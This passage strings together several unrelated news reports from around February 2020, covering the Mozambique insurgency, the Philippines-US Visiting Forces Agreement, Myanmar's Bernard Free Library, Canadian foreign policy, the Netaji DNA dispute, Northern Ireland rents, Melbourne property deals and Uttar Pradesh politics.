disappearances of women and children. Mahecic said the attackers, at times, warn locals when and where they will attack, causing a mad rush of residents to flee those areas. As attacks are spreading southward across the province, the U.N. notes that many in the provincial capital of Pemba are starting to flee. Bishop Luiz Fernando Lisboa of the Diocese of Pemba told the Catholic Charity Aid to the Church in Need that one attack in the region targeted an agricultural teacher training school in Bilibiza with over 500 students. The school was burned down, then [the attackers] smashed up other shops and businesses nearby, the bishop said. It is a sad fact that the military and security forces are unable to contain these attacks without international support. If the government had done something to improve conditions, then perhaps this problem would have been resolved, but instead many people are dying. Lisboa warned that as villages are being vacated entirely, no one is left to plant crops. That means that there will be hunger, and we will have thousands of internally displaced people, he warned. According to ISS consultant Peter Fabricius, the insurgency morphed into a terror campaign directed mainly at unarmed civilians after it began with attacks on the military bases. Fabricius reported in January that the death toll when including security personal, insurgents and civilians stands at over 600 since 2017. However, the medical charity Doctors Without Borders told AFP that at least 700 have been killed. Fabricius stressed, however, that the government in Maputo continues to present these atrocities as mere criminality and that member states of the Southern African Development Community are going along with that complacent view. Additionally, internal sources told AFP that security forces in Mozambique are despondent and do not have the capacity to intercept the militants communications. AFP quoted sources as saying that security units opt not to respond to attacks on villages to avoid casualties in our ranks. No Mozambique insurgency has yet made it onto the agenda of SADCs Organ on Politics, Defence and Security which is mandated to address such regional threats, Fabricius stressed. This despite evidence of spillovers into neighboring Tanzania and links with other jihadists up the east coast. As the extremism spreads, Fabricius notes that a big problem is that little is known about the perpetrators because ASWJ has not publicly claimed any attacks. ASWJ is known locally as Al-Shabaab but is not believed to have any connection with the deadly Somalia-based terror group with the same name, according to AFP. While ASWJ has not taken public credit for the attacks, the Islamic State terror network has claimed the responsibility of over two dozen attacks, according to ISS. Last June, the Islamic State took credit for an attack on the Mozambique military by saying that the militants were soldiers of the caliphate. As reported by The Guardian at the time, the Islamic State claimed that Africa is a central component to its effort to create a global network of extremists. This raises questions about how IS and ASWJ are related, Fabricius writes. Is ASWJ the local affiliate of IS? Is IS simply claiming credit to boost its public stature, especially since the loss of face caused by the fall of its caliphate in Syria and Iraq? The UNHCR says it is expanding its presence in Mozambique in response to a request from the Mozambican government. Rooted in the soil of Cabo Delgado, conditions common to such insurgencies seem to have given it birth and continue to give it life, Fabricius wrote. These include grinding poverty and a sense of marginalization and inequality, both between the citizens of the province and the elite down south in Maputo and elsewhere in the country, and among certain ethnic groups and Muslim factions in Cabo Delgado. Militants throughout Africa have claimed ties to the Islamic State. Burkina Faso, Nigeria, Cameroon and Mali have also seen a rise in terror attacks. In Burkina Faso, over 600,000 have been displaced since an escalation of terror attacks began in 2016. In 2019 alone, displacement in Burkina Faso rose 1,200 percent, according to the U.N. Metro Manila (CNN Philippines, February 21) There could still be a chance for the Visiting Forces Agreement with the United States to remain in force. This, as Malacanang promised on Friday to heed the Supreme Court's decision on whether or not the concurrence of the Senate is needed in ending the two-decade-old military agreement. Senators are now preparing a petition asking the high court to finally determine if pulling out from a treaty needs the approval of the Senate. The Constitution is silent on this matter, since it only requires Senate concurrence in the ratification of an agreement. Presidential Spokesperson Salvador Panelo told reporters in Malacanang that although President Rodrigo Duterte wants the VFA junked, he would have to obey any order from the Supreme Court. "Basta kung ano 'yung batas, 'yun ang sundin natin, 'yun ang sabi ni Presidente (Whatever the law says, we will follow, that's what the President said)," Panelo said. When asked if withdrawing the notice of termination sent to the US would make the Philippines a laughing stock, Panelo said, "Ganoon talaga e, kung ano yung batas yun ang sinusunod natin (That's just the way it is, we have to obey the law)." He stressed that the Palace sees "no problem" in asking for Senate concurrence if the Supreme Court would require it. On February 11, Duterte pushed through with sending the US a notice to terminate the VFA despite some senators' appeal that they be consulted. The Senate also passed a resolution calling for a thorough review of the VFA before deciding on its fate. The VFA, a 1998 agreement between Manila and Washington, legally allows the entry of a large number of American troops, exempting them from passport and visa regulations so they can participate in military activities in the Philippines. EXPLAINER: The Visiting Forces Agreement Even Foreign Affairs Secretary Tedoro "Teddy Boy" Locsin, Jr. earlier said that the continuance of the agreement "is deemed to be more beneficial" for the Philippines. In a Senate hearing, he highlighted benefits the Philippines has been getting from the VFA, including military assistance, financial grants, and deterrence against possible attacks from other countries, among others. Ending the VFA was Duterte's response to the US' cancellation of Senator Ronald "Bato" dela Rosa's tourist visa. The Philippine senator, known to have close ties with Duterte, acknowledged that the revocation of his visa may have something to do with alleged extrajudicial killings under his watch as chief of the Philippine National Police from 2016 to 2018. The night before sending the US the termination notice, Duterte called the US rude for meddling in the Philippines' local affairs. He cited American senators' demand for the release of Senator Leila de Lima an opposition lawmaker detained on drug charges -- in what they believe to be part of the Duterte government's crackdown against its critics. The VFA will be effectively scrapped on August 9 180 days from US' receipt of the termination notice. Panelo earlier said there's nothing the US government could do to "salvage" the VFA, while American President Donald Trump made it clear he does not have plans of doing so. "I view it as, 'Thank you very much. We save a lot of money,'" Trump said in an interview, in response to Duterte's move to junk the VFA. Places in History The Free British Colonial Library in Myanmar that Welcomed Everyone Bernard Free Library The National Library of Myanmar originated from the Bernard Free Library, the first free public library in the country. The library, which was established 137 years ago, first opened at the current site of the No.1 Basic Education High School in Latha opposite Yangon General Hospital on Bogyoke Aung San Road. It was the most famous library in Myanmar until World War II. The library was established on Feb. 21, 1883, by the commissioner of lower Myanmar (then Burma), Sir Charles Edward Bernard, two years before the whole country fell under colonial rule. He was the first chief commissioner of British Burma who announced the occupation of the entire country. The library was free to use and open to all, containing Bernards collection of books as well as manuscripts and parabaik, written in the Mon, Burmese and Pali languages donated by officials, scholars and community elders. When the British occupied the royal capital, Mandalay, soldiers looted the royal palace. As they searched for gems and jewelry, manuscripts and parabaik were scattered and damaged. Many were burned as waste. The remaining manuscripts and parabaik were divided into three groups: one sent to the king of Thailand; another to the India secretary in London and the third collected at the Bernard Free Library. The manuscripts of Myanmars last monarch, King Thibaw, were added to the librarys archive. With government expenditure, collectors were sent across the country to collect manuscripts and parabaik, either through donation, purchase or copying from the original. The library employed permanent staff to make copies of any manuscripts collected. It was the most comprehensive library in the country in terms of the value of its manuscripts, Burmese prose and poetry and the historical significance of its contents. British administrative officials used the library to learn the history, language, customs and traditions. Judges also used it for reference. The wooden building allowed residents to acquire a knowledge of Britain. The founder of the nationalist movement, Thakhin Kodaw Hmaing, said he read almost all the manuscripts and parabaik at the library. It was also a resource for writers, scholars and artists who tried to preserve the national literature and culture that was being suppressed under foreign rule. Well-known writers from Rangoon University (now Yangon University) like Theippan Maung Wa, who was a civil servant in the colonial government, relentlessly contributed to the promotion of indigenous literature in British Burma through the Bernard Free Library. Scholars relied on the library to resurrect the Burmese language and literature which were neglected under the British to be taught at the citys university. The Bernard Free Library was divided between European and Asian books. Some European books dated back three centuries. Journals from the Royal Society for Asian Affairs and periodicals from across Asia were housed at the library. It contained Burmese books of plays that were printed in the 1860s as well as books written in Pali, Mon and Karen. Manuscripts by Kinwun Mingyi U Kaung, a chief minister during the reigns of King Mindon and King Thibaw, were added to the library in 1921. In 1924, the library purchased manuscripts of other scholars and officials like U Tin, who was known for his knowledge of Bagan. It was said at the time that the library had any book one could imagine. Another library was established at the citys university, which held rare books, manuscripts, parabaik, stone inscriptions and books in foreign languages. But the Bernard Free Library remained the only one accessible to all. The author Zeya said: We had never been to colleges and universities. However, the Bernard was the university for the poor, which provided the higher-level knowledge to the poor for free. Ahead of World War II, the library was moved to the citys municipal office. The collection included 20,305 printed books and 7,588 manuscripts between 1940 and 1942. It was abandoned during the war and many books were damaged or lost. U Thein Han (also known as the writer Zawgyi) arranged for the remaining books and manuscripts to be stored at a monastery in Shwedagon Pagoda. Most of the manuscripts and parabaik were recovered after the war but around 70 percent of the books were lost. The Bernard Free Library was re-established in 1948 and handed over to the Culture Ministry of Anti-Fascist Peoples Freedom League government in 1952. It was moved to the Jubilee Hall and its name was changed to the National Library. From 1952 to the 2000s, the library moved to around seven places and more books were lost in the process. The name Bernard Free Library is largely forgotten and todays National Library in Yangons Yankin Township houses manuscripts, parabaik and some books that were first collected in the Bernard Free Library. Translated from Burmese by Thet Ko Ko You may also like these stories: The House That Shaped Myanmars History Myanmars Panglong Monument Embodies a Promise of Democracy, Autonomy and Equality Yangon Zoo, the Oldest One in Southeast Asia Malaysia abruptly dropped all charges on Friday against two lawmakers and 10 others facing allegations of supporting the Sri Lankan rebel group Tamil Tigers, saying there was no realistic prospect that any of the accused would be convicted. Attorney-General Tommy Thomas said the 12 men were facing 34 charges after police found some photos of Velupillai Prabhakaran, the slain founder of the separatist Liberation Tigers of Tamil Eelam (LTTE), in their mobile phones and Facebook accounts. If such conduct can constitute a criminal offense, it would bring the law into disrepute, Thomas said. I have decided that there is no realistic prospect of conviction for any of the 12 accused. He said his order to discontinue court proceedings against the accused would be effective immediately. Assemblymen Gunasekaran Palasamy and Saminathan Ganesan and the 10 other men were arrested in October last year and were charged under the nations draconian anti-terrorism law, the Security Offenses (Special Measures) Act, or SOSMA. They could have faced sentencings of up to 30 years in prison, if convicted. The courts denied their bail. Thomas did not make it clear why prosecutors filed the charges in the first place, but said in his statement that he had considered the facts that only became known to him after charges had been laid out. Harm to Malaysians cannot be established by the prosecution, he said. Annun Nancy, Gunasekarans daughter, expressed relief upon hearing the news. We were speechless and overwhelmed with joy, she told BenarNews. Ram Karpal, defense lawyer for seven of the accused men, welcomed the attorney-generals decision. Acts of terrorism can surely never be condoned, he told BenarNews, but the nature of the charges against the 12 suggested they never committed any acts of terrorism. The 34 charges mostly included giving support through social media and possession of items associated with LTTE, which Malaysia outlawed as a terrorist group in November 2014. Gunasekaran, 60, and Saminathan, 34, are members of the Democratic Action Party (DAP), a component of Malaysias ruling Pakatan Harapan bloc. Gunasekaran is a deputy chairman of DAP and an assemblyman in western Negeri Sembilan state, and Saminathan is a member of the Malacca State Legislative Assembly. They were charged after they allegedly delivered speeches and distributed reading materials in support of slain LTTE fighters during a public event in Malacca two years ago. LTTE, also known as the Tamil Tigers, vowed to carve out a separate Tamil state in Sri Lanka and fought Colombo for 26 years, but government forces declared victory against the group in May 2009 after a military offensive that killed thousands of people and led to Prabhakarans death. Thomas said the accusations against the 12 men carried one common theme: They were in possession of Prabhakarans photographs either on their online accounts or in their cell phones. But Thomas said historical personalities and slain revolutionary leaders had often been subjects of adoration. Millions of people across the globe admire Lenin, Stalin, Mao Tse Tung or Che Guevara, he said. Having their photos and other representations in ones mobile phone or on a Facebook account does not transform one to being a terrorist. February 21, 2020 Montreal, Quebec Check against delivery. This speech has been translated in accordance with the Government of Canadas official languages policy and edited for posting and distribution in accordance with its communications policy. Thank you for this warm introduction. What a pleasure to be back here at CORIM [Montreal Council on Foreign Relations]. The last time I was here before CORIM, I was Minister of International Trade. CETA [Canada-European Union Comprehensive Economic and Trade Agreement]our free trade agreement with the European Unionhad just entered into force, thanks to the foresight of Pierre-Marc Johnson, former premier of Quebec. We had also just signed the Trans-Pacific Partnership Agreement. And today, as you know, we are finalizing the ratification of the new NAFTA. This means that today, Canada has privileged access to nearly 1.2 billion consumers thanks to modern and progressive trade agreements, making Canada the only G7 country to have a free trade agreement with all other G7 members. It is a fact that I take pride in repeating in all the forums around the world. This is great news for our economy and for our businesses. For our artists, for the environment, for youth. Ive repeatedly said it, over the past 35 years: CORIM has carved out a place for itself as the ultimate Montreal, Quebec and Canadian platform to offer those who share an interest in world affairs an exceptional forum for discussion. Thank you for giving me this opportunity to speak to you about the mandate given to me by Prime Minister Trudeau, for Canadian foreign policy, as we enter this third decade of the 21st century. Canadas interests, values and principles are at the heart of everything we do on the international stage. From our commitment within multilateral institutions, to our trade agreements, through our defence and promotion of human rights. This approach is more relevant and more important than ever in an increasingly unpredictable world. A world in which the international system, as we know it, is under severe strain. Ladies and gentlemen, As you know, our world is going through a period of deep transformations and uncertainties. We see this with, among other things, a rise in populism, a rise in protectionism and a growth in economic and technological inequalities. We also see it with a rise in economic, political and diplomatic power from the West to Asia. We see this with a decline in human rights and an upsurge in the selective application of international law. Finally, we see this with a profound questioning of multilateral institutions and of the rule-based international order. Indeed, we are seeing the emergence of a multipolar world with new epicentres of influence and competition over ideas and models of governance. Around the world, human rights are increasingly under threat. From the devastating plight of the Rohingya in Myanmar, to a rise of antisemitic and Islamophobic rhetoric and behaviour, to attacks on front line human rights defenders. From impunity for those who abuse their power, to the flouting of international law. Add to this portrait the immense demographic transformation taking place in the world. By 2050, the worlds population could increase by 2.2 billion, almost half of which in Africa alone. The 10 countries with the youngest populations in the world are all in Africa with a median age of around 16 years. This continent will offer immense possibilities but will also have its share of difficulties to overcome if the international community does not maintain the necessary support for stability, economic security or education. It is with this in mind that I went to Africa three times in three months to listen, exchange and help. All this, without mentioning the existential threat of our time: the climate crisis, as the recent fires in Australia remind us so well. And to those who still doubt the urgency of this crisis, our message is clear on all the stands: Yes, the climate crisis is very real! And yes, we must take immediate urgent action to deal with it individually and collectively. And this climate crisis cannot and must not be used as a political or partisan issue. The climate crisis is the moral challenge of our time, and Canada will continue to play a leading role in the fight against climate change. When it comes to the climate crisis, the cost of inaction and failure far, far exceeds the price of action. Ladies and gentlemen, We live in a complex world. A complex and increasingly unpredictable world, as evidenced by the coronavirus epidemic or the situation we are currently facing with Iran. But in this complex and fraught world, there are also hopeful signs. Inspirational people around the world are advancing our societies and improving the lives of marginalized people. There is a growing consensus that there is an urgent need to act on the climate crisis, largely among young people who are bravely sounding the alarm. The young Canadian Autumn Peltier, the water rights warrior, is a prime example. There is also a growing consensus on human rights, including womens rights, the rights of LGBTQ2 people and democratic rights. From Venezuela to Sudan and beyond, people stand up and demand that their government respect these rights. Canada is proud to stand by their side. Increasingly, women are taking their place at the negotiating table, whether to resolve conflicts, conclude trade agreements or rule cities and countries. Canada is proud to have a feminist foreign policy, not because it looks good, but because it produces tangible and measurable results. I witnessed it first hand during my recent visit to Mali and across Africa. It is not a question of strengthening the power of women, they are already strong; it is a question of removing the obstacles to their full emancipation, to their leadership. Our agenda on women, peace and security is a central element of our policy. In fact, during this mandate, I will strengthen the foundations of this policy by working with civil society to launch a white paper on Canadas feminist foreign policy. In short, we live in a world where the possibilities for international collaboration and cooperation are limitless, largely thanks to the standards and multilateral institutions established over the past 75 years. Since the end of the Second World War, we have witnessed one of the longest periods of peace between great powers in history and the unprecedented creation of wealth, even if it is true they are not distributed fairly. This remarkable feat is based on the principle that major international challenges require global solutions. The idea that the challenges facing humanity cannot be solved within the confines of states alone. Hence the existence of a framework of institutions and standards commonly known as the rules-based international order. A framework that all countries, no matter how small, can count on to defend their interests while ensuring the collective interests of the entire international community. It is a framework through which we have been able to advance Canadas foreign policy priorities for decades. As Henri Lacordaire said, Between the weak and the strong, it is the law that liberates. But rules-based international order is under threat today. This is why it is necessary to support and modernize the multilateral system in order to ensure its sustainability while adapting it to the new realities of today. And this is where Canada can and must play a leading role on the international stage. Its not only in our national interest, its also what the international community expects from Canada. Why? Because Canada has not only always been a champion and defender of multilateralism, but Canada has also been at the root of the institutions, principles and values that drive multilateralism. In the earliest days after World War II, for example, Canada was there, helping to create the Bretton Woods institutions. In 1947, Canada was among the 23 nations that signed the General Agreement on Tariffs and Trade, which would later become the World Trade Organization. Canada is a founding member of the United Nations and the North Atlantic Treaty Organization [NATO]. A Canadian, John Humphrey, was actively engaged in shaping the Universal Declaration of Human Rights, which still today serves as the foundation to protect the dignity of all people. Another Canadian, Lester B. Pearson, earned the Nobel Peace Prize for devising the form of military intervention that has come to be known as peacekeeping. And thats not all. Let us remember Lloyd Axworthy, who was the architect of the Ottawa Treaty banning anti-personnel mines. It was also Canada, when we sat on the UN Security Council, that pioneered the concept of the responsibility to protect, a mechanism to protect victims of genocide. Like the womens peace and security agenda, a very Canadian initiative. Ladies and gentlemen, As we enter the third decade of the 21st century, we have the opportunity and the responsibility to assert and exercise our leadership internationally. And the good news is that we have everything to succeed and assume this leadership. Canada has a voice at almost every table: the G7, the G20, La Francophonie, the Commonwealth, NATO, the OECD [Organisation for Economic Co-operation and Development] and so on. The very principles on which our countrys confederation is foundedpeace, order and good governmentresonate in many corners of the planet. But lets be clear: our reputation and credibility rest on our ability to demonstrate to our partners and allies howin concrete termsour principles and values guide our diplomacy. Let me now present to you the priorities that will guide my mandate as minister of foreign affairs; priorities to advance Canadas interests through multilateralism, trade and human rights. Iran First, Iran and the tragedy of Flight PS752, a tragedy that illustrates once again the importance of diplomacy and multilateralism and the need to adapt quickly to circumstances. We chose dialogue while remaining firm so that justice could be done for the families of the victims. Canada has shown leadership with the creation of the International Coordination and Response Group for Victims of Flight PS752, which ensures that the international community speaks with one voice vis-a-vis Iran. And despite the pitfalls, despite the lack of diplomatic relations with the Iranian regime, we were able to quickly dispatch investigators to the field and repatriate the bodies of the victims, according to the wishes expressed by the families. That being said, much work remains to be done in order for Iran to fully assume responsibility for this tragic event, including a full and transparent investigation, the need for Iran to get the black boxes downloaded and analyzed without delay and a swift compensation settlement for the families of the victims based on international standards. We owe it to the families to get all the answers to the questions surrounding this terrible tragedy. We will continue to hold the Iranian regime accountable. We will judge Iran not by its words but by its actions. The world is watching. Regarding the black boxes, I repeat here the call of Canada and the international community to Iran: the black boxes must be transferred to France to be analyzed without delay, in accordance with Annex 13 of the Convention on International Civil Aviation. China Now let me talk about China. First, on the coronavirus epidemic and the global effort to contain it. As with the Zika virus epidemic in 2016, the Ebola virus in 2014, the H1N1 flu pandemic in 2009 or even SARS in 2003, it has always been vital that countries work together to prevent diseases from spreading. Renowned Canadian epidemiologist Dr. Bruce Aylward leads a team of WHO [World Health Organization] experts from around the world to China to study the coronavirus. Throughout this crisis, we have been in constant contact with international partners to work together as efficiently as necessary. And thanks to the cooperation of the Chinese and Japanese authorities, we were able to repatriate nearly 550 of our citizens to the country. However, it should not be inferred that Canadas relationship with China has returned to normal. As you know, our relationship with China is complex and multidimensional. The year 2020 marks 50 years of diplomatic relations between our two countries, and we are currently going through a turbulent period in our common diplomatic history. Michael Kovrig and Michael Spavor have been arbitrarily detained for over a year. Our top priority remains to secure their release. We are also working to obtain clemency for Robert Schellenberg, sentenced to death by China. Here again, faced with a difficult and complex situation, Canada is not going it alone. A multitude of international partners share our opinion: the actions of a state within the framework of an international treaty must not generate reprisals against its citizens abroad. That said, however difficult and complex it may be, Canadians know that our relationship with China remains important in many ways. Finding the right balance is a delicate operation. There will always be issues on which we will have differences and issues on which we will have overlapping positions. You have to learn to live with this complexity. I believe in dialogue even if it means having difficult conversations. Thats the nature of diplomacy. And, yes, its possible to work with China on the reform of the WTO [World Trade Organization], while at the same time not be aligned with China on human rights. Will we continue to emphasize the importance of global rules, principles and protections endorsed by the global community, including the Universal Declaration of Human Rights or the Vienna Convention? Always. Our relations with China will always be guided by the interests of Canadians, as well as by our commitment to the rules and principles enshrined in international law. Another priority is our campaign for a non-permanent seat on the UN Security Council. Let me first put this approach and the importance it has for Canada into context. As the Prime Minister once said, obtaining a seat on the Security Council is not an end in itself. A seat on the Security Council is above all a vehicle for promoting the principles and values that shape our vision of international relations. A vision based on strong and effective multilateralism, and on an international rule-based order. We are witnessing a major questioning of the capacity of international institutions to respond to the crises of our time, particularly in Asia, Africa and Latin America. As the model of liberal democracies is put to the test, there is an urgent need to develop new tools and new ways of doing things and to create a new consensus to better face these challenges. Our campaign for a seat on the Security Council is therefore an opportunity for our government to demonstrate our leadership in the face of the great challenges and crises of our time. The campaign is an opportunity to assert Canadas interests, principles and values to give credibility to multilateralism, strengthen it and better adapt it to the realities of today. From our chairing of the UN Peacebuilding Commission to the Alliance for Multilateralism and the Lima Group to restore democracy in Venezuela. From the Ottawa Group to the WTO, to the Vancouver Principles for the protection of children in armed conflict. From La Francophonie (which is celebrating its 50th anniversary this year), including APEC [Asia-Pacific Economic Cooperation] and the Commonwealth. From the Ocean Plastics Charter to the Elsie Initiative for Women in Peace Operations, through to our co-presidency of the next Global Conference for Media Freedom in Quebec on September 17 and 18, 2020Canada is showing leadership on many international initiatives. Some will say that the fight for a Security Council seat is not worth it, or that its too late. My answer to that is, its never too late to fight for womens rights, human rights, the environment and democracy. As for those who criticize the Security Council as outdated and ineffective, we agree that reform is needed. But allow me to paraphrase Winston Churchill, by saying, It may not be perfect, but its the best thing weve got! Indeed, the UN Security Council is still among the most important tables in the world where major decisions and discussions on peace and security are held. And its a place where Canada can have both relevance and influence. My speech would not be complete without, of course, talking about our bilateral relationship with the United States. We are allies, partners and friends, inseparable from our geography, our personal ties and our economic ties. The new NAFTA opens a new chapter in our relationship. A new chapter that will provide more prosperity, more opportunity and more stability. As evidenced by the sometimes difficult negotiations of the past two years, our government will always look after the interests of Canadians without compromise. I would also like to take this opportunity to congratulate the Prime Minister and my predecessor, Chrystia Freeland, for their tireless work, which allows us today to see the future in a much more positive light. In conclusion, the aims of our foreign policy and my priorities as minister are certainly ambitious. They have to be because Canada is an ambitious country. In a polarized world, the international community is asking that voices, like that of Canada, be raised to support and renew multilateralism, contribute to stability and prosperity, and defend the principles of law attached to it. Many will say that in a context of minority government, we will have to act quickly to achieve our objectives. But as the African proverb says so well: If you want to go fast, walk alone. But if you want to go far, lets walk together. And that is what I intend to do during my mandate. Go far for Canada and with Canadians. Hence the importance of an inclusive approach, where the provinces, the business community, businesses, artists and civil society, in collaboration with our international partners, are all shoulder to shoulder, with us, for a greener, safer, more inclusive and more prosperous world. Thank you. The mystery behind the fate of freedom fighter Netaji Subhas Chandra Bose has yet again been drowned in murk. Although most conclude that Bose died in a plane crash in Taiwan in August 1945, many say he came back to India and lived in disguise for decades by the name 'Gumnami Baba'. An RTI seeking details of a commission that probed the matter has ignited a new controversy. RTI rakes up matter The Vishnu Sahai Commission, looking into the mysterious death of Subhas Chandra Bose, had cited a report of the Central Forensic Science Laboratory (CFSL), Kolkata, to claim that Gumnami Baba was not Bose. However, replying to an RTI query by Sayak Sen, chief public information officer of CSFL, BP Mishra said: "The electropherogram report of this case is not available at CFSL Kolkata." An electropherogram shows a sequence of data that is produced by an automated DNA sequencing machine and is used for deriving results from genealogical DNA testing. READ | Mamata Banerjee Writes To PM Modi, Calls For Release Of Funds Worth Rs 50,000 Crore Accusations of foul play "The disclosure by CFSL has a direct bearing on the finding of Justice Vishnu Sahai Commission that Gumnami Baba was not Netaji. Justice Sahai in his just-released report used the CFSL report to the hilt to reject outright the view that Baba was Netaji," Sayak Sen said in a statement. He claimed that Justice Sahai had merely cited the Justice Mukherjee Commission's 2005 report in his own report, rather than order a fresh test as demanded by many. "In view of accusations of foul play, I wanted to consult independent DNA experts to verify the test by the CFSL, and hence I filed this RTI application," Sen added. READ | West Bengal CM Mamata Banerjee Blames Centre For TMC MP Tapas Paul's Death Grandnephew displeased On this, the grandnephew of Netaji, Chandra Kumar Bose, has expressed his displeasure over the constant attempt to connect Gumnami Baba with the freedom fighter. In a statement to Republic TV, CK Bose, who is also a Bengal BJP leader, lashed out at speculators who continue to argue that the ascetic was Netaji. "Media sensation to misguide the people regarding Netaji, an organisation called Mission Netaji has started spreading false information. Recently concluded Sahai commission has submitted a report asserting no connection of Netaji with Gumnami Baba living in Faizabad." He added, "They want to denigrate Netaji's legacy by stating he returned to India and lived behind the curtains. This is not acceptable. The charge that CFSL has tampered the DNA reports is a very serious charge and not acceptable." READ | Mamata Remembers Those Who Sacrificed Lives For Mother Tongue DNA test done CFSL Kolkata had performed DNA test on three teeth of Gumnami Baba, who lived in Faizabad town of Uttar Pradesh and died on September 16, 1985. Two teeth were tested in CFSL, Hyderabad, and the result was inconclusive, while that of CFSL, Kolkata, said the DNA sample did not match Subhas Chandra Bose. The report of the one-member Vishnu Sahai Commission was tabled in the Uttar Pradesh assembly in December last year and it said Gumnami Baba was not Netaji in disguise. Netaji was said to have died in a plane crash on August 18, 1945 in Taiwan. However, a section of people believes he survived the crash and went into hiding to escape the British. (With PTI inputs) READ | 'Hinduism Doesn't Shut Door For Anyone, It Believes In Togetherness': CM Mamata Banerjee Housing Executive rents are to go up by 2.7% (Joe Giddens/PA). Northern Irelands Housing Executive (NIHE) is set to raise rents for the first time in five years as it faces a large funding shortfall. A 2.7% hike will come into effect from April 6, which will result in an average weekly increase of 1.79. The changes will bring the average rent for a Housing Executive home to 68.27 a week, excluding rates. NIHE rents were last raised by 4.85% in 2015/16, 4.2% in 2014/15 and 3.6% in 2013/14. NIHE currently manages around 84,000 homes across Northern Ireland. The rise comes as the Executive warned it may have to de-invest half of its portfolio which could result in the gradual loss of around 43,000 social homes. Information obtained by the BBC through a Freedom of Information request revealed the Housing Executive is experiencing severe funding issues. A first-day briefing to Communities Minister Deirdre Hargey said that the Executive needs 7.1bn over the next 30 years, with 3bn needed over the next 11 years to deal with the backlog of work on its properties. The funding shortfall is largely due to our low rents exacerbated by four years of a rent freeze that are insufficient to support all of our activities and costs. The Housing Executive cannot meet costs as the NIHE generates insufficient income via rent to properly sustain itself. After operating costs it is only able to afford around half of the investment it requires, the document said. It warned that if the crisis was not addressed a two-tier social housing sector would develop in Northern Ireland, where NIHE would not be able to meet modern housing standards in comparison with local housing associations. This will have an extremely detrimental impact on addressing the rising level of social housing need in NI, the document said. A spokesperson for the NIHE said that rents continue to remain much lower than local housing associations in Northern Ireland and close to 30 a week less than the average rent for social housing accommodation in England. Given the Consumer Price Index has risen by around 8% since our last rise in 2015, this lift of 2.7% is relatively modest and it will go directly to support our services, the spokesperson said. Tenants are being informed of their new rent levels this month approximately 75% of our tenants receive full or partial Housing Benefit support or Universal Credit towards their rent. The spokesperson encouraged anyone negatively affected by the increase to seek help. We would encourage any tenants, whether in the private or social sector, who are experiencing difficulty paying their rent to seek advice from their local Housing Executive office, contact a local patch manager or online at nihe.gov.uk, the spokesperson said. But ICON Developments, which is building the landmark 600 Church Street office for Domain Group, is pivoting back to residential with an $80 million project behind the corner of Swan and Church streets. ICON is launching a 10-storey 78-apartment building at 2 Brighton Street overlooking the railway line. ICON development manager Georgina Goldsworthy said six different properties, acquired over a period of time, made up the 1300 sq m site. Theres a lot of demand in Richmond for residential. All those start-ups and technology and creative industries in Cremorne bring people. And they want to work, socialise and live in the same area, Ms Goldworthy said. The cautious move back to residential comes as Caydon Property slashed the residential component of its Malt District project, adding more office and a hotel to the Nylex clock-topped silos development. Yarraberg Meanwhile at the northern end of Richmond, Joe Chahins Peregrine Projects is spec-building its $100 million Burnley Street office and MAB Corp is launching its $40 million strata office project, Yarraberg. Peregrine Projects' proposed new office at 175 Burnley Street in Richmond. Credit:Artist's impression Mr Chahin told Capital Gain work started on the 175 Burnley Street site just before Christmas and will ramp again next month. We are confident in the product and the location but people wanted to see that we were committed to the area, Mr Chahin said. Well build a display suite and let people tailor the designs of their offices using some technology. It won't be virtual reality - there will be no headsets, he said. Theres lots of interest in the area. People are sick of Cremorne. Its too expensive and hard to get to, he said. Peregrine will hold the 9500 sq m A-grade office building designed by Jackson Clements Burrows. Its expected to be completed at the end of 2021 as is MAB's new project. Around the corner on Blazey Street, Michael and Andrew Buxtons MAB Corp are selling strata office units in Yarraberg, a six-level, $40 million-plus project designed by Plus Architecture and landscaping by Tract. MAB's new office project, Yarraberg, in North Richmond. Colliers International agents Ted Dwyer, Chris Ling and Jordan Lipton are marketing the project in conjunction with Knight Franks Tim Grant and Matthew Romanin. The city-fringe, Richmond in particular, has been starved of supply for new, high quality strata office, Mr Dwyer said. Eagles swoop Childcare developers Mike Wu and Shan Kuo have emerged as the purchasers of an Eaglemont development site. Late last year, Mr Wu and Ms Kuos Avenues Early Learning paid just over $12.8 million for the site, giving the individual owners a premium on Eaglemont's $1.95 million median house price. They're planning to build a child care centre and town houses on the 5034 sq m parcel of land which had been on the market since 2017 with two other agencies. Melbourne Acquisitions agents James Latos and Dominic Gibson finally pulled off the deal, which came in a long way short of the $20 million expectations carried at the peak of the market in 2017. Originally, there were two parcels of eight houses totalling 6500 sq m on the corner of Banksia Street and Lower Heidelberg Road. The final deal, involved four owners and six houses at 25-31 Banksia Street and 437-439 Lower Heidelberg Road. The busy corner of Lower Heidelberg Road and Banksia Street. Credit:Eddie Jim The busy corner is down the hill from the Austin Hospital and close to the Burke and Bulleen road entrances to the Eastern Freeway. Last year, the Queensland-based developers paid $20 million for an office building at 90-96 Tram Road, Doncaster where they are planning to build a new childcare centre. They are also behind a state-of-the-art $100 million child care centre at 8 Buckhurst Street in Fishermans Bend. They paid $61.8 million for the 9500 sq m site which had once been earmarked for four towers and 1000 apartments. In 2018, the pair sold nine childcare centres to Folkestone for $63 million and last year put another portfolio of seven centres on the market with a $150 million price tag. Suburban office The first suburban office property to hit the market in 2020 is in leafy Glen Iris, near Cabrini Hospital and several private schools. The two-storey building at 173 Burke Road is on a large 4305 sq m site near Central Park and around the corner from Cabrini Hospital. Colliers International agents Peter Bremner and Daniel Wolman have the listing, in conjunction with Alexander Robertsons Kristian Peatling and Warwick Bramich. 173 Burke Road, Glen Iris. Zoned Commercial 1, its expected to fetch more than $30 million. Seven tenants in the 3383 sq m building pay around $795,000 a year in rent. That puts it at a very slim yield of around 2.5 per cent but it means the land value out-paced the building value a few years ago, Mr Bremner said. Samajwadi Party president Akhilesh Yadav on Friday lashed out at Uttar Pradesh Chief Minister Yogi Adityanath over his remark that the "country needs Ramrajya not Samajwad", terming it as against the very essence of the Constitution. In a tweet, the SP chief said, "Mukhiyaji has said the country does not need socialism this means : he is against the essence of the Constitution. He is not with the poor but with the rich capitalists. He works for some special people and not for society. He is against steps towards ensuring social equality of neglected sections." The SP chief was reacting to the remarks made by the chief minister while speaking on the Motion of Thanks to the governor's address in the state Assembly on Wednesday. The chief minister had said, "The country needs 'Ramrajya' not 'Samajwad'. Without naming former chief minister and Samajwadi Party patriarch Mulayam Singh Yadav, Adityanath had also recalled his controversial boys will be boys remark and mocked the opposition for speaking on women empowerment. While opposing capital punishment for rape, Mulayam Singh Yadav had sparked an outrage by saying "ladke, ladke hain... galti ho jati hai (boys will be boys... they commit mistakes). (This story has not been edited by 